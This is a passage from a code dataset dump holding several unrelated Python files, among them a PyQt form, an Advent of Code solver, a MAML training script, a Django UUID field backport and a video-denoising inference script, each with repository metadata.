QScrollArea()\n\n self.createFormBox()\n self.setWidgetResizable(True)\n\n layout = QVBoxLayout(self)\n layout.addWidget(self.scroll)\n self.submitButton = QPushButton(\"Save Configs\")\n layout.addWidget(self.submitButton)\n\n def createFormBox(self):\n self.fbox = QFormLayout()\n self.groupBox = QGroupBox(\"Select Filter Parameters\")\n\n self.paramList = []\n\n for param in self.Comparisons.parameters:\n self.addParams(param)\n\n self.groupBox.setLayout(self.fbox)\n\n self.scroll.setWidget(self.groupBox)\n self.scroll.setWidgetResizable(True)\n\n self.addButton = QPushButton(\"Add param\")\n self.addButton.clicked.connect(self.addParamDatas)\n self.removeButton = QPushButton(\"Remove param\")\n self.removeButton.clicked.connect(self.removeParamDatas)\n self.fbox.addRow(self.addButton, self.removeButton)\n\n def addParams(self, param):\n paramName = param[0]\n includeBool = param[1]\n number_group = QButtonGroup(self) # Number group\n\n r0 = QRadioButton(\"Exclude\")\n number_group.addButton(r0)\n r1 = QRadioButton(\"Include\")\n number_group.addButton(r1)\n\n if includeBool:\n r1.setChecked(True)\n else:\n r0.setChecked(True)\n\n hbox2 = QHBoxLayout()\n hbox2.addWidget(r0)\n hbox2.addWidget(r1)\n\n lineEdit = QLineEdit(paramName)\n r0.toggled.connect(self.paramsUpdate)\n lineEdit.textChanged.connect(self.paramsUpdate)\n self.fbox.addRow(lineEdit, hbox2)\n self.paramList.append((lineEdit, r1))\n\n def paramsUpdate(self):\n print(\"Woo updating params\")\n for i, param in enumerate(self.paramList):\n self.Comparisons.parameters[i] = (param[0].text() , param[1].isChecked())\n\n def addParamDatas(self):\n parameter = (\"Not Defined\", False)\n self.Comparisons.addParameter(parameter)\n self.createFormBox()\n\n def removeParamDatas(self):\n self.Comparisons.removeParameter()\n if len(self.Comparisons.parameters) > 0:\n self.createFormBox()\n\nclass CompForm(QScrollArea):\n #Comparisons take on a instance of Comparisons class\n\n def __init__(self, Comparisons = None, version_data = None):\n super().__init__() \n self.initUI(Comparisons, version_data)\n\n def initUI(self, Comparisons, version_data):\n self.group = QGroupBox()\n self.Comparisons = Comparisons\n self.version_data = version_data\n self.scroll = QScrollArea()\n\n self.createFormBox()\n self.setWidgetResizable(True)\n\n layout = QVBoxLayout(self)\n layout.addWidget(self.scroll)\n self.submitButton = QPushButton(\"Save Configs\")\n layout.addWidget(self.submitButton)\n\n def createFormBox(self):\n self.fbox = QFormLayout()\n self.groupBox = QGroupBox(\"Select Comparison Versions\")\n\n versions = []\n for version in self.version_data:\n versions.append(version[\"id\"])\n\n self.compList = []\n\n for comparison in self.Comparisons.comparisons:\n fromID = CompSelector(\"fromID\", comparison[\"fromID\"], versions)\n toID = CompSelector(\"toID\", comparison[\"toID\"], versions)\n self.fbox.addRow(fromID.label, fromID.cb)\n self.fbox.addRow(toID.label, toID.cb)\n fromID.cb.currentIndexChanged.connect(self.compsUpdate)\n toID.cb.currentIndexChanged.connect(self.compsUpdate)\n self.compList.append( (fromID,toID) )\n\n self.addButton = QPushButton('Add comparison')\n self.addButton.clicked.connect(self.addComparison)\n self.removeButton = QPushButton('Remove comparison')\n self.removeButton.clicked.connect(self.removeComparison)\n self.fbox.addRow(self.addButton, self.removeButton)\n\n self.groupBox.setLayout(self.fbox)\n\n self.scroll.setWidget(self.groupBox)\n self.scroll.setWidgetResizable(True)\n\n def compsUpdate(self):\n print(\"wooo updating comps\")\n for i, comp in enumerate(self.compList):\n self.Comparisons.comparisons[i][\"fromID\"] = comp[0].cb.currentText()\n self.Comparisons.comparisons[i][\"toID\"] = comp[1].cb.currentText()\n\n def addComparison(self):\n self.Comparisons.addComparison(defaultComp())\n #Update formBox UI\n self.createFormBox()\n\n def removeComparison(self):\n self.Comparisons.removeComparison()\n self.createFormBox()\n","repo_name":"worldbestpro/CodeAnalysis","sub_path":"scripts/guiScripts/CompareForm.py","file_name":"CompareForm.py","file_ext":"py","file_size_in_byte":8205,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"31844180134","text":"from collections import deque\r\n\r\nlines = open(input()).readlines()\r\n\r\nrev_op = {\r\n \"+\": \"-\",\r\n \"-\": \"+\",\r\n \"*\": \"/\",\r\n \"/\": \"*\",\r\n \"=\": \"=\",\r\n}\r\n\r\noperations = dict()\r\noperators = dict()\r\ndependencies = dict()\r\nrev_dep = dict()\r\nnumbers = dict()\r\nfor line in lines:\r\n line = line.strip().replace(\": \", \"=\")\r\n name, num = line.split(\"=\")\r\n num = num.split(\" \")\r\n if name == \"root\":\r\n num[1] == \"=\"\r\n if name == \"humn\":\r\n num = [-1]\r\n if len(num) == 1:\r\n dependencies[name] = []\r\n op = f\"{int(num[0])}\"\r\n else:\r\n dependencies[name] = [num[0], num[-1]]\r\n rev_dep[num[0]] = name\r\n rev_dep[num[-1]] = name\r\n op = f\"numbers['{num[0]}']{num[1]}numbers['{num[2]}']\"\r\n operators[name] = rev_op[num[1]]\r\n operations[name] = op\r\nhuman_branch = set()\r\ncurr = \"humn\"\r\nprev = None\r\nwhile curr != \"root\":\r\n human_branch.add(curr)\r\n prev = curr\r\n curr = rev_dep[curr]\r\n\r\nroot1, root2 = dependencies[\"root\"]\r\n\r\nhumn_root = prev\r\nnon_humn_root = root1 if root1 != humn_root else root2\r\n\r\n\r\ndef solve_fwd(name):\r\n if len(dependencies[name]) == 0:\r\n numbers[name] = eval(operations[name])\r\n return\r\n solve_fwd(dependencies[name][0])\r\n solve_fwd(dependencies[name][1])\r\n numbers[name] = eval(operations[name])\r\n\r\n\r\ndef solve_bwd(name, number):\r\n # print(name, number)\r\n if name == \"humn\":\r\n return number\r\n dep1, dep2 = dependencies[name]\r\n human_dep = dep1 if dep1 in human_branch else dep2\r\n non_human_dep = dep1 if dep1 not in human_branch else dep2\r\n solve_fwd(non_human_dep)\r\n number_temp = numbers[non_human_dep]\r\n if dep2 in human_branch and operators[name] == \"*\":\r\n number = eval(f\"{number_temp}/{number}\")\r\n elif dep2 in human_branch and operators[name] == \"+\":\r\n number = eval(f\"{number_temp}-{number}\")\r\n else:\r\n number = eval(f\"{number}{operators[name]}{number_temp}\")\r\n return solve_bwd(human_dep, number)\r\n\r\n\r\nsolve_fwd(non_humn_root)\r\nnumber = numbers[non_humn_root]\r\nprint(solve_bwd(humn_root, number))\r\n","repo_name":"HectorxH/advent-of-code","sub_path":"2022/Day21/main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21410487715","text":"ANIMAL_NAME_KEY = \"animal_name\"\nANIMAL_NAME_2_KEY = \"animal_name_2\"\nNEW_CATEGORY_ID_KEY = \"new_category_id\"\nPET_NAME_KEY = \"pet_name\"\nPET_PHOTO_URL_KEY = \"pet_photo_url\"\nPET_CATEGORY_NAME_KEY = \"pet_category_name\"\nPET_STATUS_KEY = \"pet_status\"\nNEW_PET_ID_KEY = \"new_pet_id\"\nPET_NAME_2_KEY = \"pet_name_2\"\nPET_PHOTO_URL_2_KEY = \"pet_photo_url_2\"\nPET_CATEGORY_NAME_2_KEY = \"pet_category_name_2\"\nPET_STATUS_2_KEY = \"pet_status_2\"\nEXISTING_CATEGORY_NAME_KEY = \"existing_category_name\"\nFALSE_CATEGORY_ID_KEY = \"false_category_id\"\nEXISTING_PET_NAME_KEY = \"existing_pet_name\"\nPET_NAME_3_KEY = \"pet_name_3\"\nFALSE_CATEGORY_NAME_KEY = \"false_category_name\"\nFALSE_PET_ID_KEY = \"false_pet_id\"\n","repo_name":"biikter/PetsDemoProject","sub_path":"constants/test_data_keys.py","file_name":"test_data_keys.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"17949827105","text":"import asyncio\nimport requests\nfrom loguru import logger\n\n\nclass ApiService:\n async def get_html_page(self, url: str) -> str:\n try:\n response = requests.get(url)\n if response.status_code != 200:\n logger.error(response.status_code)\n return \"\"\n\n return response.text\n\n except requests.exceptions.RequestException as ex:\n raise ex\n\n async def get_all_html_pages(self, url: str) -> str:\n duration = 2\n pages = ''\n index = 1\n while True:\n try:\n response = requests.get(f\"{url}&page={index}\")\n if '

404

' in response.text:\n break\n\n print(f\"---PAGE {index} PARSED ---\")\n index += 1\n pages += response.text\n await asyncio.sleep(duration)\n except requests.exceptions.RequestException as ex:\n raise ex\n return pages\n","repo_name":"Nikolay-leukhin/Onineme","sub_path":"external_services/api_service.py","file_name":"api_service.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71069751094","text":"import os, sys\nsys.path.append(\"/\".join(os.path.dirname(__file__).split(\"/\")[:-1]))\nimport argparse\nimport copy\nimport random\n\nimport torch\nfrom torch import nn\nfrom torch.optim import Adam\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\n\nfrom pymel import MamlMnist\nfrom pymel.dataset.utils import single_task_detach\nfrom pymel.base_model import CNN_Mnist\n\ndef main(args: argparse):\n \n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\", index=args.dv)\n\n torch.backends.cudnn.benchmark = True\n \n transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])\n \n train_ds = MamlMnist(\n root=\"~/data\",\n train = True,\n transform=transform,\n download=True,\n k_shot=args.ks,\n k_query=args.kq\n )\n \n test_ds = MamlMnist(\n root=\"~/data\",\n train = False,\n transform=transform,\n download=True,\n maml=False\n )\n \n train_dl = DataLoader(\n dataset=train_ds,\n batch_size=args.ks + args.kq,\n num_workers=args.wk, \n pin_memory=True,\n shuffle=True\n )\n \n test_dl = DataLoader(\n dataset=test_ds,\n batch_size=1,\n num_workers=args.wk, \n pin_memory=True\n )\n \n global_model = CNN_Mnist(input_size=(1, 28, 28), num_classes=10).to(device=device)\n\n meta_optimizer = Adam(global_model.parameters(), lr=args.out_lr, weight_decay=1e-4)\n\n criterion = nn.CrossEntropyLoss()\n\n num_task = train_ds.nt\n for epoch in range(args.epochs):\n global_model.train()\n \n for train_idx, data_dict in enumerate(train_dl):\n \n metaloss = 0.0\n for task in data_dict:\n task_model = copy.deepcopy(global_model)\n task_optimizer = Adam(task_model.parameters(), lr=args.in_lr, weight_decay=1e-4)\n \n sp_x, sp_y, qr_x, qr_y = single_task_detach(\n batch_dict=data_dict,\n k_shot=args.ks,\n k_query=args.kq,\n task=task\n )\n \n for in_e in range(args.inner_epochs):\n sp_x, sp_y = sp_x.to(device), sp_y.to(device)\n sp_logits = task_model(sp_x)\n sp_loss = criterion(sp_logits, sp_y)\n task_optimizer.zero_grad()\n sp_loss.backward()\n task_optimizer.step()\n \n qr_x, qr_y = qr_x.to(device), qr_y.to(device)\n qr_logits = task_model(qr_x)\n qr_loss = criterion(qr_logits, qr_y)\n metaloss += qr_loss.item()\n qr_loss.backward() \n\n for w_global, w_local in zip(global_model.parameters(), task_model.parameters()):\n if w_global.grad is None:\n w_global.grad = w_local.grad\n else:\n w_global.grad += w_local.grad\n\n meta_optimizer.step()\n meta_optimizer.zero_grad()\n \n global_model.eval()\n with torch.no_grad():\n test_loss = 0\n correct = 0\n total = 0\n batch_count = 0\n for test_idx, (test_imgs, test_labels) in enumerate(test_dl):\n batch_count = test_idx\n test_imgs = test_imgs.to(device, non_blocking=True)\n test_labels = test_labels.to(device, non_blocking=True)\n test_logits = global_model(test_imgs) \n \n test_loss += criterion(test_logits, test_labels).item()\n _, predicted = test_logits.max(1)\n total += test_labels.size(0)\n correct += predicted.eq(test_labels).sum().item()\n \n print(f\"Epoch: {epoch} - MetaLoss: {metaloss/num_task} - Test Loss: {test_loss/batch_count} - Test Acc: {100*correct/total}%\") \n \n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n prog=\"MINST MULTI TASK CLASSIFICATION\"\n )\n \n parser.add_argument(\"--in_lr\", type=float, default=0.01,\n help=\"Inner learning Rate\")\n parser.add_argument(\"--out_lr\", type=float, default=0.001,\n help=\"Outer learning Rate\")\n parser.add_argument(\"--ks\", type=int, default=5,\n help=\"#sample in support set\")\n parser.add_argument(\"--kq\", type=int, default=5,\n help=\"#sample in query set\")\n parser.add_argument(\"--wk\", type=int, default=os.cpu_count(),\n help=\"#number of workers\")\n parser.add_argument(\"--c\", type=int, default=1,\n help=\"#number of imput channel\")\n parser.add_argument(\"--epochs\", type=int, default=1,\n help=\"#number of epochs\")\n parser.add_argument(\"--inner_epochs\", type=int, default=1,\n help=\"#number of epochs\")\n parser.add_argument(\"--dv\", type=int, default=0,\n help=\"Index of GPU\")\n \n args = parser.parse_args()\n \n main(args=args)","repo_name":"KhoiDOO/PyMel","sub_path":"examples/fsmaml_mnist_scratch.py","file_name":"fsmaml_mnist_scratch.py","file_ext":"py","file_size_in_byte":5240,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"30409248057","text":"import uuid\n\nfrom django.core.exceptions import ValidationError\nfrom django.db import connection\nfrom django.db.models import Field\nfrom django.utils import six\nfrom django.utils.translation import ugettext_lazy as _\n\ntry:\n from django.db.models import UUIDField\nexcept ImportError:\n class UUIDField(Field):\n \"\"\"Emulate Django 1.8's django.db.models.fields.UUIDField.\"\"\"\n default_error_messages = {\n 'invalid': _(\"'%(value)s' is not a valid UUID.\"),\n }\n description = 'Universally unique identifier'\n empty_strings_allowed = False\n \n def __init__(self, **kwargs):\n kwargs['max_length'] = 32\n super(UUIDField, self).__init__(**kwargs)\n \n def db_type(self):\n # PostGres has a native uuid type\n if connection and 'postgres' in connection.vendor:\n return 'uuid'\n # All other database types are char()\n return 'char(%s)' % self.max_length\n \n def get_db_prep_value(self, value, connection, prepared=False):\n if isinstance(value, uuid.UUID):\n # This doesn't exist until Django 1.8 - wrap it in try: except\n try:\n if connection.features.has_native_uuid_field:\n return value\n except AttributeError:\n return value.hex\n if isinstance(value, six.string_types):\n return value.replace('-', '')\n return value\n \n def to_python(self, value):\n if value and not isinstance(value, uuid.UUID):\n try:\n return uuid.UUID(value)\n except ValueError:\n raise exceptions.ValidationError(\n self.error_messages['invalid'],\n code='invalid',\n params={'value': value},\n )\n return value\n \n def formfield(self, **kwargs):\n try:\n from django.forms import UUIDField as UUIDFormField\n except ImportError:\n class UUIDFormField(CharField):\n \"\"\"Emulate Django 1.8's forms.UUIDField.\"\"\"\n default_error_messages = {\n 'invalid': _('Enter a valid UUID.'),\n }\n \n def prepare_value(self, value):\n if isinstance(value, uuid.UUID):\n return value.hex\n return value\n \n def to_python(self, value):\n value = super(UUIDField, self).to_python(value)\n if value in self.empty_values:\n return None\n if not isinstance(value, uuid.UUID):\n try:\n value = uuid.UUID(value)\n except ValueError:\n raise ValidationError(self.error_messages['invalid'], code='invalid')\n return value\n\n defaults = {\n 'form_class': UUIDFormField,\n }\n defaults.update(kwargs)\n return super(UUIDField, self).formfield(**defaults)\n","repo_name":"michaeljohnbarr/django-mptt","sub_path":"tests/myapp/model_fields.py","file_name":"model_fields.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"10107234321","text":"import argparse \nimport numpy as np \nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-f', '--file', default = 'test.bin', type=str)\n args, unknown = parser.parse_known_args()\n f = args.file\n name = f.split('.')[0]\n\n data = np.fromfile(f, dtype='uint8')\n data_0 = data[0:len(data):2]\n data_1 = data[1:len(data):2]\n \n data_0 = data_0[..., np.newaxis]\n data_1 = data_1[..., np.newaxis]\n\n data_new = np.hstack([data_1, data_0]).ravel()\n data_new.tofile(name + '_swap.bin')","repo_name":"CristXu/mv_for_mcu","sub_path":"boards/evkmimxrt1060/demo_apps/hello_world_omv/mdk/swap_lsb.py","file_name":"swap_lsb.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"23494807408","text":"import pandas as pd\nimport os\n\n# setting environment and const variables\nAIRFLOW_HOME = os.environ.get('AIRFLOW_HOME')\nDATA_PATH = AIRFLOW_HOME + '/dags/data'\n\n\ndef get_atccode_by_drug_name(drug):\n\t\"\"\"\n\tReturn the atccode by drug name\n\n\tParameters:\n drug (string) : the drug name\n\n Returns:\n atccode (string) : the atccode attached to that drug\n\t\"\"\"\n\tdrugs = pd.read_csv(f'{DATA_PATH}/drugs.csv')\n\treturn drugs.loc[drugs['drug'] == drug, 'atccode'].item()\n\n\ndef get_drug_mentions(df, drug_list, column_name=\"title\"):\n\t\"\"\"\n\tReturn the atccode by drug name\n\n\tParameters:\n df (DataFrame) : the dataframe containing titles and journals data\n drug_list (List) : extracted list of drugs\n column_name (string) : the column where to fetch for drug mentions in the dataframe\n\n Returns:\n drug_mentions (list) : a list of drug mentions depending on the given dataframe if it's PubMed or Clinical trial\n\t\"\"\"\n\n\t# initialize a list to hold the resulted json objects\n\tdrug_mentions = []\n\t\n\tfor drug in drug_list:\n\t mentioned_in = []\n\t # iterate over the dataframe and check if a drug name exist on a publications's title\n\t for index, row in df.iterrows():\n\t mention_obj = {}\n\t if row[column_name].lower().find(drug.lower()) > 0:\n\t mention_obj[column_name] = row[column_name]\n\t mention_obj[\"date\"] = row[\"date\"]\n\t mention_obj[\"journal\"] = row[\"journal\"]\n\n\t mentioned_in.append(mention_obj)\n\n # filter the empty lists where there is no mention\n\t if len(mentioned_in) != 0:\n\t drug_mentions.append({\"drug\":drug, \"atccode\": get_atccode_by_drug_name(drug), \"mentioned_in\":mentioned_in})\n\n\treturn drug_mentions","repo_name":"PaacMaan/drug_data_prep","sub_path":"dags/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25127597","text":"import data\nfrom option import args\nimport time\nimport glob\nimport imageio\nimport torch\nimport os\nfrom tqdm import tqdm\nimport numpy as np\n\"\"\"\nWe need this function to predict single test files.\nWe are supposed to save the PSNR results for each frames,\nand plot results.\n\nAuthor: Tao Zhang (Selous)\nData : 2019.12.26(Start)\n ~2020.01.13(Rewrite)\n ~2020.01.15(Debug)\n\"\"\"\nimport utility\nfrom option import args\nimport model\ncheckpoint = utility.checkpoint(args)\n#checkpoint = utility.checkpoint(args)\n\n\"\"\"\nLoad video frames from vimeo dataset splited by ffpmeg software.\n example video: https://vimeo.com/142480565\n video frame is in 'vimeo/v1'+[noised, target]\n and pivot points for the frame which transforms scenario..\n\"\"\"\ndef load_video_data(data_dir, points = None):\n prepoint = 0\n if points is None:\n pointpath = os.path.join(data_dir, 'point.txt')\n f = open(pointpath)\n points = [int(line) for line in f.readlines()]\n\n noised_paths = glob.glob(os.path.join(data_dir, \"noised\", \"*.png\"))\n target_paths = glob.glob(os.path.join(data_dir, \"target\", \"*.png\"))\n noised_paths.sort()\n target_paths.sort()\n for point in points:\n n_paths = noised_paths[prepoint:point]\n t_paths = target_paths[prepoint:point]\n noised_images = []\n target_images = []\n for noised_path, target_path in zip(n_paths, t_paths):\n noised_images.append(torch.tensor(imageio.imread(noised_path)).mul_(args.rgb_range / 255.0))\n target_images.append(torch.tensor(imageio.imread(target_path)).mul_(args.rgb_range / 255.0))\n ##frames, batch, CHW\n noised_images_torch = torch.stack(noised_images, dim=0).unsqueeze(1).permute(0,1,4,2,3).type(torch.FloatTensor)\n target_images_torch = torch.stack(target_images, dim=0).unsqueeze(1).permute(0,1,4,2,3).type(torch.FloatTensor)\n\n yield noised_images_torch, target_images_torch, [prepoint, point-1]\n\n prepoint = point\n\n\ndef plot_psnr(filepath = None):\n #filepath = '/store/dataset/vdenoising/vimeo/v1/denoised/frvd/xx.npy'\n if filepath is None:\n raise ValueError('filepath should be not None')\n else:\n #data with shape [n_frames]\n data = np.load(filepath)\n # savefilename = os.path.join(\n # os.path.dirname(filepath),\n # os.path.basename(filepath).split('.')[0]+'.pdf'\n # )\n savefilename = filepath.replace('.npy', '.pdf')\n\n n_frames = data.shape[0]\n axis = np.linspace(1, n_frames, n_frames)\n\n label = 'denoised on vimdeo test dataset via frame index'\n fig = plt.figure()\n plt.title(label)\n ## the 0'th dimension should be same with epoch\n plt.plot(axis, data, label = 'PSNR')\n plt.legend()\n plt.xlabel('frame_index')\n plt.ylabel('PSNR')\n plt.grid(True)\n plt.savefig(savefilename)\n plt.close(fig)\n\n\ndef plot_psnrs_filenames(dirdata, model_name):\n desdir = os.path.join(dirdata, 'denoised', model_name)\n\n pointpath = os.path.join(data_dir, 'point.txt')\n f = open(pointpath)\n points = [int(line) for line in f.readlines()]\n start_seqid = 0\n for point in points:\n end_seqid = point - 1\n filename = 'psnr_'+str(start_seqid)+'-'+str(end_seqid)+'.npy'\n filepath = os.path.join(desdir, filename)\n plot_psnr(filepath = filepath)\n\n start_seqid = point\n print('Plot, Done')\n\n\n\ndef torch2img(img_torch):\n normalized = img_torch.mul(255 / args.rgb_range)\n target_cpu = normalized.byte().permute(1, 2, 0).cpu()\n return target_cpu\n\n\ndef torch2save(dic_torch, desdir, curr_seqid = 0):\n for p, v in dic_torch.items():\n filename = os.path.join(desdir, \"frame_\"+str(curr_seqid).zfill(3) + \"_\" + p +\".png\")\n normalized = v[0].mul(255 / args.rgb_range)\n tensor_cpu = normalized.byte().permute(1, 2, 0).cpu()\n imageio.imwrite(filename, tensor_cpu.numpy())\n\nfrom PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\nimport numpy as np\n\ndef addnote2img(img_np, note):\n font = ImageFont.truetype(\"FreeMonoBold.ttf\", 30)\n img = Image.fromarray(img_np.astype(np.uint8))\n draw = ImageDraw.Draw(img)\n draw.text((0, 0),note,'red', font=font)\n return np.array(img)\n\"\"\"\nReturn splice images:\n ---------------------------------\n |Noised Images, Denoised Images.|\n |Optical-flow , Target Images.|\n ---------------------------------\n | Plot PSNR |\n ---------------------------------\nArguments:\n imgs : list type with four images. numpy array.\n with shape [256, 448, 3] HWC\n\"\"\"\ndef splice_image(imgs):\n assert len(imgs) == 4\n denoised_img = addnote2img(imgs[0], 'Denoised')\n noised_img = addnote2img(imgs[1], 'Noised')\n c1 = np.concatenate((noised_img, denoised_img), axis=1)\n\n flowmap = addnote2img(imgs[2], 'Flowmap')\n target_img = addnote2img(imgs[3], 'Target')\n c2 = np.concatenate((flowmap, target_img), axis = 1)\n\n c3 = np.concatenate((c1, c2), axis = 0)\n return c3\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport skimage.measure\ndef splice_save_image(img_seqs, desroot='.', startid=0):\n os.makedirs(desroot, exist_ok=True)\n psnrs = []\n psnrs_noise = []\n for idx_batch, imgs in enumerate(img_seqs):\n curr_seqid = startid + idx_batch + 1\n length = idx_batch + 1\n #print(len(imgs))\n c_img = splice_image(imgs)\n fig, ax = plt.subplots()\n ax.imshow(c_img)\n ax.axis('off')\n\n axisxlength = c_img.shape[1]\n axisx = np.linspace(1, axisxlength, length)\n #axisylength = c_img.shape[0]\n psnrs.append(skimage.measure.compare_psnr(imgs[3], imgs[0], args.rgb_range))\n psnrs_noise.append(skimage.measure.compare_psnr(imgs[3], imgs[1], args.rgb_range))\n\n divider = make_axes_locatable(ax)\n axbottom = divider.append_axes(\"bottom\", size=1.6, pad=0.1, sharex=ax)\n axbottom.plot(axisx, psnrs, color='red', marker=\"x\", label='denoise')\n axbottom.plot(axisx, psnrs_noise, color='blue', marker=\"o\", label='noise')\n axbottom.set_yticks([])\n axbottom.set_xticks([])\n axbottom.legend()\n #axbottom.set_xticks(axisx)\n #axbottom.set_xticklabels(np.linspace(1, length, length))\n axbottom.margins(x=0)\n plt.tight_layout()\n plt.savefig(os.path.join(desroot, 'frame_'+str(curr_seqid).zfill(3)+'.png'), bbox_inches = 'tight',pad_inches = 0)\n plt.close()\n\n\n\n\n\ndef inference():\n device = torch.device('cpu' if args.cpu else 'cuda')\n\n _model = model.Model(args, checkpoint)\n _model = _model.to(device)\n _model.eval()\n #dirdata = '/home/lrh/git/data/v2'\n dirdata = args.dir_data\n data_generator = load_video_data(dirdata)\n\n desdir = os.path.join(dirdata, 'denoised', _model.name)\n os.makedirs(desdir, exist_ok=True)\n\n for video_idx, (noise_input, target, seq_ids) in tqdm(enumerate(data_generator), ncols=80):\n noise_input, target = noise_input.to(device), target.to(device)\n h, w = noise_input.shape[3:]\n _model.model.init_hidden(h,w)\n start_seqid = seq_ids[0]\n end_seqid = seq_ids[1]\n\n ## store PSNRs for each sequence.\n psnrs = []\n ## video sequence.\n ## Recurrent feed data into pre-trained model\n save_list = {}\n for idx_frame in range(len(noise_input)):\n curr_seqid = idx_frame + start_seqid + 1\n nseq, tseq = noise_input[idx_frame], target[idx_frame]\n\n with torch.no_grad():\n ## Inference time.\n fakeTarget = _model(nseq)\n if type(fakeTarget) in [tuple, list]:\n fakeTarget = fakeTarget[0]\n\n fakeTarget = utility.quantize(fakeTarget, args.rgb_range)\n ## calculate PSNR value.\n psnrs.append(utility.calc_psnr(fakeTarget, tseq, args.rgb_range))\n\n ## store the image files.\n # normalized = fakeTarget[0].mul(255 / args.rgb_range)\n # target_cpu = normalized.byte().permute(1, 2, 0).cpu()\n # filename = os.path.join(desdir, 'frame_'+str(curr_seqid).zfill(3)+'.png')\n # imageio.imwrite(filename, target_cpu.numpy())\n save_list['est'] = fakeTarget\n\n if args.save_gt:\n save_list['noise'] = nseq\n save_list['target'] = tseq\n\n if args.save_of:\n flow = _model.model.get_opticalflow_map()\n flowmap = utility.vis_opticalflow(flow)\n save_list['zflowmap'] = flowmap\n\n prest_warped = _model.model.get_warpresult()\n save_list['prest-warped'] = utility.quantize(prest_warped, args.rgb_range)\n ## store the image files.\n # target_cpu = torch2img(flowmap[0])\n # filename = os.path.join(desdir, 'frame_'+str(curr_seqid).zfill(3)+'_flowmap.png')\n # imageio.imwrite(filename, target_cpu.numpy())\n torch2save(save_list, desdir, curr_seqid)\n\n\n\n ## save PSNR values.\n #print(psnrs)\n filename = os.path.join(desdir, 'psnr_'+str(start_seqid + 1)+'-'+str(end_seqid + 1)+'.npy')\n np.save(filename, np.array(psnrs))\n plot_psnr(filename)\n print('Saved PSNR! Frames: {}~{}'.format(start_seqid + 1, end_seqid + 1))\n\n print('Done!!')\n\n\ndef spliced_vimeo_dataset():\n pointpath = os.path.join(args.dir_data, 'point.txt')\n f = open(pointpath)\n points = [int(line) for line in f.readlines()]\n\n\n suffixes = [\"est\", \"noise\", \"zflowmap\", \"target\"]\n desdir = os.path.join(args.dir_data, 'denoised', args.model)\n #desdir = '/home/lrh/git/FRVD-pytorch/experiment/frvdwof-v0.2-test/results-ToFlow/'\n filepathseqs = []\n\n for suffix in suffixes:\n filepathes = glob.glob(os.path.join(desdir, '*' + suffix + '.png'))\n filepathes.sort()\n filepathseqs.append(filepathes)\n\n\n img_seqs = []\n for index in range(len(filepathseqs[0])):\n imgs = []\n for jndex in range(len(filepathseqs)):\n imgs.append(imageio.imread(filepathseqs[jndex][index]))\n img_seqs.append(imgs)\n\n des_root = os.path.join(desdir, 'spliced')\n start_point = 0\n for point in points:\n #print(point)\n splice_save_image(img_seqs[start_point:point], des_root, startid=start_point)\n start_point = point\n\ndef spliced_validation_dataset():\n suffixes = [\"Est\", \"Noise\", \"flow\", \"Target\"]\n #desdir = '/home/lrh/git/FRVD-pytorch/experiment/frvdwof-v0.2-test/results-ToFlow/'\n desdir = args.dir_data\n filepathseqs = []\n\n for suffix in suffixes:\n filepathes = glob.glob(os.path.join(desdir, '*' + suffix + '.png'))\n filepathes.sort()\n filepathseqs.append(filepathes)\n\n num_seqs = len(filepathseqs[0]) // 7\n\n img_seqs = []\n for index in range(len(filepathseqs[0])):\n imgs = []\n for jndex in range(len(filepathseqs)):\n imgs.append(imageio.imread(filepathseqs[jndex][index]))\n img_seqs.append(imgs)\n\n des_root = os.path.join(desdir, 'spliced')\n for index in range(num_seqs):\n splice_save_image(img_seqs[index * 7 : (index + 1) * 7], des_root, startid=index * 7)\n\nfrom matplotlib import pyplot as plt\nif __name__=='__main__':\n\n ## Inference\n if False:\n inference()\n else:\n #spliced_vimeo_dataset()\n spliced_validation_dataset()\n\n\n # length = 3\n #\n # dataroot = '/home/lrh/git/FRVD-pytorch/experiment/frvdwof-v0.2/results-ToFlow/'\n # filename0 = ['00010_0144_frame2_Noise.png','00010_0144_frame2_Est.png',\\\n # '00010_0144_frame2_flow.png','00010_0144_frame2_Target.png']\n # filename1 = ['00010_0144_frame3_Noise.png','00010_0144_frame3_Est.png',\\\n # '00010_0144_frame3_flow.png','00010_0144_frame3_Target.png']\n # filename2 = ['00010_0144_frame4_Noise.png','00010_0144_frame4_Est.png',\\\n # '00010_0144_frame4_flow.png','00010_0144_frame4_Target.png']\n # filenameseqs = (filename0, filename1, filename2)\n # img_seqs = []\n #\n # for filenames in filenameseqs:\n # imgs = []\n # for filename in filenames:\n # imgs.append(imageio.imread(os.path.join(dataroot, filename)))\n # img_seqs.append(imgs)\n #\n #\n","repo_name":"selous123/denosing-pytorch","sub_path":"code/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":12394,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"22618604556","text":"from __future__ import division\n\nimport random\nimport messages\nimport libtest\nfrom libtest import send_request, handle_response\nimport httplib\nimport names\nimport pdb\n\nSERVER_URL = 'localhost'\nSERVER_PORT = 8000\n\n\n# should move to singleton class\nglobal_user_list = []\n\nimport string\ndef id_generator(size=6, 